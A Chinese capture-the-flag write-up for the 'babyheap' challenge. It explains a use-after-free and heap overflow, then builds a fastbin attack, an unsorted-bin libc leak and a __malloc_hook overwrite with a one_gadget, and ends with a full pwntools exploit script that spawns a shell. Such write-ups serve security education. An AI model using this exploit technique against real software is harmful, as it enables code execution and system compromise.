这道题目可以说是经典中的经典,堆溢出,Fastbin,Unsortedbin,malloc_hook……这些heap常见技术都涉及到了,完成这道题目,受益匪浅
babyheap
循环输入
64位,dynamically,全开
程序共有5个功能:
1.allocate:输入“size”,申请“chunk”
2.fill:输入“index”,输入“size”,输入“content”,向“chunk”填写数据
3.free_chunk:输入“index”,释放“chunk”
4.dump:输入“index”,打印“chunk”
5.exit:退出程序
入侵思路
先搭好框架:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 def allocate (size ): p.recvuntil('Command: ' ) p.sendline('1' ) p.recvuntil('Size: ' ) p.sendline(str (size)) def fill (idx, size, content ): p.recvuntil('Command: ' ) p.sendline('2' ) p.recvuntil('Index: ' ) p.sendline(str (idx)) p.recvuntil('Size: ' ) p.sendline(str (size)) p.recvuntil('Content: ' ) p.send(content) def free (idx ): p.recvuntil('Command: ' ) p.sendline('3' ) p.recvuntil('Index: ' ) p.sendline(str (idx)) def dump (idx ): p.recvuntil('Command: ' ) p.sendline('4' ) p.recvuntil('Index: ' ) p.sendline(str (idx))
查看“数据chunk”的结构:
1 2 3 4 5 allocate(0x20 ) allocate(0x20 ) fill(0 ,0x8 ,'aaaaaaaa' ) fill(1 ,0x8 ,'bbbbbbbb' ) free(0 )
1 2 3 4 5 6 7 8 9 pwndbg> heap Free chunk (fastbins) | PREV_INUSE Addr: 0x55fcbd664000 Size: 0x31 fd: 0x00 Allocated chunk | PREV_INUSE Addr: 0x55fcbd664030 Size: 0x31
1 2 3 4 pwndbg> telescope 0x55fcbd664000 00 :0000 │ 0x55fcbd664000 ◂— 0x0 01 :0008 │ 0x55fcbd664008 ◂— 0x31 02 :0010 │ 0x55fcbd664010 ◂— 0x0
1 2 3 4 5 pwndbg> telescope 0x55fcbd664030 00 :0000 │ 0x55fcbd664030 ◂— 0x0 01 :0008 │ 0x55fcbd664038 ◂— 0x31 02 :0010 │ 0x55fcbd664040 ◂— 'bbbbbbbb' 03 :0018 │ 0x55fcbd664048 ◂— 0x0
可惜程序的“结构chunk”是看不到的:
“&addr[v3]”是由随机数计算得来的,所有的“结构信息”都放入这里
在“malloc模块”中:
这里的“a1”就是“addr”,可见其为一个结构体数组,拥有元素:inuse,size,ptr
在“free模块中”:
程序释放了“addr->ptr”,但是没有置空,所以可以打 UAF & Double free
但是“inuse”被置空,带来了诸多限制
首先程序是可以打Unlink的,不过需要两个关键数据:目标chunk的FD指针,libc基地址
1 2 3 4 5 6 7 8 allocate(0x10 ) allocate(0x10 ) allocate(0x10 ) allocate(0x10 ) allocate(0x80 ) free(1 ) free(2 )
1 2 3 4 5 6 7 8 9 10 11 pwndbg> x/20xg 0x55e6762a4000 0x55e6762a4000 : 0x0000000000000000 0x0000000000000021 0x55e6762a4010 : 0x0000000000000000 0x0000000000000000 0x55e6762a4020 : 0x0000000000000000 0x0000000000000021 0x55e6762a4030 : 0x0000000000000000 0x0000000000000000 0x55e6762a4040 : 0x0000000000000000 0x0000000000000021 0x55e6762a4050 : 0x000055e6762a4020 0x0000000000000000 0x55e6762a4060 : 0x0000000000000000 0x0000000000000021 0x55e6762a4070 : 0x0000000000000000 0x0000000000000000 0x55e6762a4080 : 0x0000000000000000 0x0000000000000091 0x55e6762a4090 : 0x0000000000000000 0x0000000000000000
1 2 3 pwndbg> bins fastbins 0x20 : 0x55e6762a4040 —▸ 0x55e6762a4020 ◂— 0x0
这里释放了“chunk2”和“chunk3”,可以修改“chunk1”使其溢出到“chunk2,chunk3”,最后覆盖“0x55e6762a4020”(攻击fastbins,获取任意地址写)
1 2 3 4 payload = p64(0 )*3 +p64(0x21 ) payload +=p64(0 )*3 +p64(0x21 ) payload +=p8(0x80 ) fill(0 ,len (payload),payload)
1 2 3 4 5 6 7 8 9 10 11 pwndbg> x/20xg 0x561246beb000 0x561246beb000 : 0x0000000000000000 0x0000000000000021 0x561246beb010 : 0x0000000000000000 0x0000000000000000 0x561246beb020 : 0x0000000000000000 0x0000000000000021 0x561246beb030 : 0x0000000000000000 0x0000000000000000 0x561246beb040 : 0x0000000000000000 0x0000000000000021 0x561246beb050 : 0x0000561246beb080 0x0000000000000000 0x561246beb060 : 0x0000000000000000 0x0000000000000021 0x561246beb070 : 0x0000000000000000 0x0000000000000000 0x561246beb080 : 0x0000000000000000 0x0000000000000091 0x561246beb090 : 0x0000000000000000 0x0000000000000000
1 2 3 fastbins 0x20 : 0x561246beb040 —▸ 0x561246beb080 ◂— 0x0
所以下一次申请“chunk3”,再下一次申请“chunk5”
于是我们提前在“chunk5”中布置好数据:
1 2 payload = p64(0 )*3 +p64(0x21 ) fill(3 ,len (payload),payload)
1 2 3 4 5 6 7 8 9 10 11 pwndbg> x/20xg 0x5607a32c7000 0x5607a32c7000 : 0x0000000000000000 0x0000000000000021 0x5607a32c7010 : 0x0000000000000000 0x0000000000000000 0x5607a32c7020 : 0x0000000000000000 0x0000000000000021 0x5607a32c7030 : 0x0000000000000000 0x0000000000000000 0x5607a32c7040 : 0x0000000000000000 0x0000000000000021 0x5607a32c7050 : 0x00005607a32c7080 0x0000000000000000 0x5607a32c7060 : 0x0000000000000000 0x0000000000000021 0x5607a32c7070 : 0x0000000000000000 0x0000000000000000 0x5607a32c7080 : 0x0000000000000000 0x0000000000000021 0x5607a32c7090 : 0x0000000000000000 0x0000000000000000
1 2 3 pwndbg> bins fastbins 0x20 : 0x5607a32c7040 —▸ 0x5607a32c7080 ◂— 0x0
把“chunk2”(fake_chunk5)和“chunk3”申请回来,接着进行操作:
1 2 3 4 5 6 7 allocate(0x10 ) allocate(0x10 ) fill(1 ,4 ,'aaaa' ) fill(2 ,4 ,'bbbb' ) payload = p64(0 )*3 +p64(0x91 ) fill(3 ,len (payload),payload)
1 2 3 4 5 6 7 8 9 10 11 pwndbg> x/20xg 0x55cece518000 0x55cece518000 : 0x0000000000000000 0x0000000000000021 0x55cece518010 : 0x0000000000000000 0x0000000000000000 0x55cece518020 : 0x0000000000000000 0x0000000000000021 0x55cece518030 : 0x0000000000000000 0x0000000000000000 0x55cece518040 : 0x0000000000000000 0x0000000000000021 0x55cece518050 : 0x0000000061616161 0x0000000000000000 0x55cece518060 : 0x0000000000000000 0x0000000000000021 0x55cece518070 : 0x0000000000000000 0x0000000000000000 0x55cece518080 : 0x0000000000000000 0x0000000000000091 0x55cece518090 : 0x0000000062626262 0x0000000000000000
解释一下:
一,这里申请chunk5的时候,chunk5为“0x91”,需要先覆盖其为“0x21”,然后改回“0x91”
我们需要chunk5为“0x91”,因为其不属于fastbin的范围,可以打 Unsortedbin leak
利用 fastbin attack 已经成功把chunk5放入fastbin,但是不能直接malloc
因为malloc会对 fastbin chunk 的size位进行检查,本程序中,其值必须为“0x21”
成功申请到chunk5后,需要把“0x21”改回“0x91”
二,整个操作就是为了“欺骗”程序:把“chunk5”误认为“chunk3”
虽然指针没有置空,但是程序在结构体中定义了“inuse”来记录chunk是否被使用
但是经过上述操作后:用于记录“index”的结构体数组中,chunk3和chunk5指向同一片区域
释放了chunk5,chunk5的“inuse”被设置为“0”,但是chunk3的“inuse”任然为“1”
这下就可以打印chunk3,实现 Unsortedbin leak
1 2 3 4 5 6 dump(2 ) p.recvuntil('Content:' ) leak_addr=u64(p.recvuntil('\x7f' )[2 :].ljust(8 ,'\x00' )) libc_base=leak_addr-0x3c4b78 success('leak_addr >> ' +hex (leak_addr)) success('libc_base >> ' +hex (libc_base))
1 2 3 4 5 In [6 ]: 0x7f1874b00000 -0x7f1874ec4b78 Out[6 ]: -3951480 In [7 ]: hex (3951480 ) Out[7 ]: '0x3c4b78'
获取了“libc_base”,就可以打“malloc_hook”和“one_gadget”
one_gadget:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0x45226 execve("/bin/sh" , rsp+0x30 , environ)constraints: rax == NULL 0x4527a execve("/bin/sh" , rsp+0x30 , environ)constraints: [rsp+0x30 ] == NULL 0xf03a4 execve("/bin/sh" , rsp+0x50 , environ)constraints: [rsp+0x50 ] == NULL 0xf1247 execve("/bin/sh" , rsp+0x70 , environ)constraints: [rsp+0x70 ] == NULL
malloc_hook:
先获取“malloc_hook”的地址:malloc_hook == main_arena - 0x10
1 2 3 4 5 6 pwndbg> x/20 xg 0x7f0a01f79ae0 0x7f0a01f79ae0 <_IO_wide_data_0+288 >: 0x0000000000000000 0x0000000000000000 0x7f0a01f79af0 <_IO_wide_data_0+304 >: 0x00007f0a01f78260 0x0000000000000000 0x7f0a01f79b00 <__memalign_hook>: 0x00007f0a01c3aea0 0x00007f0a01c3aa70 0x7f0a01f79b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 0x7f0a01f79b20 <main_arena>: 0x0000000000000000 0x0000000000000000
我们的目标是在“malloc_hook”中写入“one_gadget”,但是不能直接 fastbin attack
// 没有对应大小的数据充当“fake_chunk -> size”
这里用了一个小技巧:(拆分现成的地址来构造数据,通常为“\x7f”)
1 2 3 pwndbg> x/20 xw 0x7f0a01f79ae0 -3 0x7f0a01f79add <_IO_wide_data_0+285 >: 0x00000000 0x00000000 0x00000000 0x00000000 0x7f0a01f79aed <_IO_wide_data_0+301 >: 0x60000000 0x0a01f782 0x0000007f 0x00000000
通过对目标地址进行“加减1”操作,可以把“\x7f”分离出来,而“0x7f”和“0x70”属于同一个fastbin(统一大小为“0x70”)
接下来就把“0x7f”当做数据就好了:
1 2 3 4 5 6 7 8 In [35 ]: hex (0x7f0a01f79aed +0x4 *2 ) Out[35 ]: '0x7f0a01f79af5' In [36 ]: hex (0x7f0a01f79af5 -0x8 ) Out[36 ]: '0x7f0a01f79aed' In [37 ]: hex (0x7f0a01f79aed +0x10 ) Out[37 ]: '0x7f0a01f79afd'
1 2 3 4 5 In [38 ]: 0x7f0a01f79aed - 0x7f0a01bb5000 Out[38 ]: 3951341 In [39 ]: hex (3951341 ) Out[39 ]: '0x3c4aed'
接下来继续进行 fastbin attack,打入“one_gadget”:
1 2 3 4 pwndbg> x/20xg 0x7f0a01f79afd +3 0x7f0a01f79b00 <__memalign_hook>: 0x00007f0a01c3aea0 0x00007f0a01c3aa70 0x7f0a01f79b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 0x7f0a01f79b20 <main_arena>: 0x0000000000000000 0x0000000000000000
1 2 3 4 5 payload = p8(0 )*3 payload += p64(0 )*2 payload += p64(libc_base+0x4527a ) fill(6 , len (payload),payload) allocate(255 )
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from pwn import *p=process('./babyheap' ) elf=ELF('./babyheap' ) libc=ELF('./libc-2.23.so' ) def allocate (size ): p.recvuntil('Command: ' ) p.sendline('1' ) p.recvuntil('Size: ' ) p.sendline(str (size)) def fill (idx, size, content ): p.recvuntil('Command: ' ) p.sendline('2' ) p.recvuntil('Index: ' ) p.sendline(str (idx)) p.recvuntil('Size: ' ) p.sendline(str (size)) p.recvuntil('Content: ' ) p.send(content) def free (idx ): p.recvuntil('Command: ' ) p.sendline('3' ) p.recvuntil('Index: ' ) p.sendline(str (idx)) def dump (idx ): p.recvuntil('Command: ' ) p.sendline('4' ) p.recvuntil('Index: ' ) p.sendline(str (idx)) allocate(0x10 ) allocate(0x10 ) allocate(0x10 ) allocate(0x10 ) allocate(0x80 ) free(1 ) free(2 ) payload = p64(0 )*3 +p64(0x21 ) payload +=p64(0 )*3 +p64(0x21 ) payload +=p8(0x80 ) fill(0 ,len (payload),payload) payload = p64(0 )*3 +p64(0x21 ) fill(3 ,len (payload),payload) allocate(0x10 ) allocate(0x10 ) fill(1 ,4 ,'aaaa' ) fill(2 ,4 ,'bbbb' ) payload = p64(0 )*3 +p64(0x91 ) fill(3 ,len (payload),payload) allocate(0x80 ) free(4 ) dump(2 ) p.recvuntil('Content:' ) leak_addr=u64(p.recvuntil('\x7f' )[2 :].ljust(8 ,'\x00' )) libc_base=leak_addr-0x3c4b78 success('leak_addr >> ' +hex (leak_addr)) success('libc_base >> ' +hex (libc_base)) allocate(0x60 ) free(4 ) payload = p64(libc_base+0x3c4aed ) fill(2 , len (payload),payload) allocate(0x60 ) allocate(0x60 ) payload = p8(0 )*3 payload += p64(0 )*2 payload += p64(libc_base+0x4527a ) fill(6 , len (payload),payload) allocate(255 ) p.interactive()